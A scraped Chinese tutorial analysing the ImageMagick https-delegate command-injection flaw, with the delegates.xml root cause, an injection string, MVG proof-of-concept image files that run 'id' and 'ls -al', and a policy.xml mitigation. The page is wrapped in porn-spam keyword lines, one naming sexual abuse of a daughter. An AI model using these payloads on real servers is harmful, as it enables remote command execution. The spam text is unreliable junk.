国产片侵犯亲女视频播放_亚洲精品二区_在线免费国产视频_欧美精品一区二区三区在线_少妇久久久_在线观看av不卡

腳本之家,腳本語言編程技術及教程分享平臺!
分類導航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服務器之家 - 腳本之家 - Python - 深入淺析ImageMagick命令執行漏洞

深入淺析ImageMagick命令執行漏洞

2020-09-10 13:11Joy_nick Python

ImageMagick是一個功能強大的開源圖形處理軟件,可以用來讀、寫和處理超過90種的圖片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。接下來通過本文給大家淺析ImageMagick命令執行漏洞的知識,一起看看吧

00 前言

什么是ImageMagick

ImageMagick是一個功能強大的開源圖形處理軟件,可以用來讀、寫和處理超過90種的圖片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以對圖片進行切割、旋轉、組合等多種特效的處理。

由于其功能強大、性能較好,并且對很多語言都有拓展支持,所以在程序開發中被廣泛使用。許多網站開發者喜愛使用ImageMagick拓展來做web上的圖片處理工作,比如用戶頭像生成、圖片編輯等。

01 漏洞描述

ImageMagick是一款開源圖片處理庫,支持PHP、Ruby、NodeJS和Python等多種語言,使用非常廣泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多個圖片處理插件都依賴它運行。當攻擊者構造含有惡意代碼得圖片時,ImageMagick庫對于HTTPPS文件處理不當,沒有做任何過濾,可遠程實現遠程命令執行,進而可能控制服務器。

02 影響程度

攻擊成本:低

危害程度:高

影響范圍:ImageMagick 6.9.3-9以前的所有版本

03 漏洞分析

命令執行漏洞是出在ImageMagick對https形式的文件處理的過程中。

ImageMagick之所以支持那么多的文件格式,是因為它內置了非常多的圖像處理庫,對于這些圖像處理庫,ImageMagick給它起了個名字叫做”Delegate”(委托),每個Delegate對應一種格式的文件,然后通過系統的system()命令來調用外部的lib進行處理。調用外部lib的過程是使用系統的system命令來執行的,導致命令執行的代碼。

ImageMagick委托的默認配置文件: /etc/ImageMagick/delegates.xml

具體代碼請參考:Github-ImageMagick

我們定位到https委托得那一行:

?
1
" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"

可以看到,command定義了它對于https文件處理時帶入system()函數得命令:"wget" -q -O "%o" "https:%M"。

wget是從網絡下載文件得命令,%M是一個占位符,它得具體定義在配置文件中如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
%i input image filename
%o output image filename
%u unique temporary filename
%Z unique temporary filename
%# input image signature
%b image file size
%c input image comment
%g image geometry
%h image rows (height)
%k input image number colors
%l image label
%m input image format
%p page number
%q input image depth
%s scene number
%w image columns (width)
%x input image x resolution
%y input image y resolution

可以看到%m被定義為輸入的圖片格式,也就是我們輸入的url地址。但是由于只是做了簡單的字符串拼接,沒有做任何過濾,直接拼接到command命令中,所以我們可以將引號閉合后通過"|",”`”,”&”等帶入其他命令,也就形成了命令注入。

比如我們傳入如下代碼:

?
1
https://test.com"|ls “-al

則實際得system函數執行得命令為:

?
1
“wget” -q -O “%o” “ https://test.com"|ls “-al”

這樣,ls -al命令成功執行。

04 漏洞利用

這個漏洞得poc由老外給出得,如下:

?
1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic-context

push和pop是用于堆棧的操作,一個進棧,一個出棧;

viewbox是表示SVG可見區域的大小,或者可以想象成舞臺大小,畫布大小。簡單理解就是根據后面得參數選取其中得一部分畫面;

fill url()是把圖片填充到當前元素內;

在其中我們使用了fill url()的形式調用存在漏洞的https delegate,當ImageMagick去處理這個文件時,漏洞就會被觸發。

附:ImageMagick默認支持一種圖片格式,叫mvg,而mvg與svg格式類似,其中是以文本形式寫入矢量圖的內容,允許在其中加載ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在圖形處理的過程中,ImageMagick會自動根據其內容進行處理,也就是說我們可以將文件隨意定義為png、jpg等網站上傳允許的格式,這大大增加了漏洞的可利用場景。

利用過程:

創建一個exploit.png文件,包含以下內容:

?
1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://test.com/image.jpg"|ls "-al)'
pop graphic-context

執行命令:convert exploit.png 1.png(后面的是convert的參數)

深入淺析ImageMagick命令執行漏洞

05 漏洞修復

升級到最新版本

配置/etc/ImageMagick/policy.xml的方式來禁止https、mvg這些delegate,或者直接在配置文件刪除相應的delegate

?
1
2
3
4
5
6
7
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

以上所述是小編給大家介紹的ImageMagick命令執行漏洞的知識,希望對大家有所幫助,如果大家有任何疑問請給我留言,小編會及時回復大家的。在此也非常感謝大家對服務器之家網站的支持!

原文鏈接:http://byd.dropsec.xyz/2016/10/02/ImageMagick命令執行漏洞淺析/

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 国产一区二区免费 | 久久精品成人 | 欧美做爰一区二区三区 | 国产三级一区二区三区 | 久久www免费人成看片高清 | 国产色| 日产精品一区二区三区在线观看 | 天天射天天 | 国产精品久久久久国产精品 | 国产精品178页 | 亚洲欧洲成人 | 欧美一区二区网站 | 国产资源在线视频 | 国产精品激情 | 激情综合五月 | 国产在线观看免费 | 欧美 日韩 国产 成人 在线 | 成人av在线网站 | 色啪网站 | 日韩一区二区中文 | 国产精品久久国产精品 | 久久人人av| 成人精品视频在线观看 | 国产午夜精品美女视频明星a级 | 精品一区二区三区视频 | 亚洲天堂免费在线 | 午夜寂寞少妇aaa片毛片 | 在线观看国产 | 国产精品美女久久久久久久网站 | 成人精品视频免费 | 中文字幕精品一区 | 久久国产精品一区二区三区 | 国产成人精品一区二区三区网站观看 | 欧美精品成人一区二区三区四区 | 人人爱超碰 | 欧美日韩精品免费 | 国偷自产一区二区免费视频 | 欧美精品v国产精品v日韩精品 | 亚洲四区 | 欧美久久久 | 欧美 国产精品 |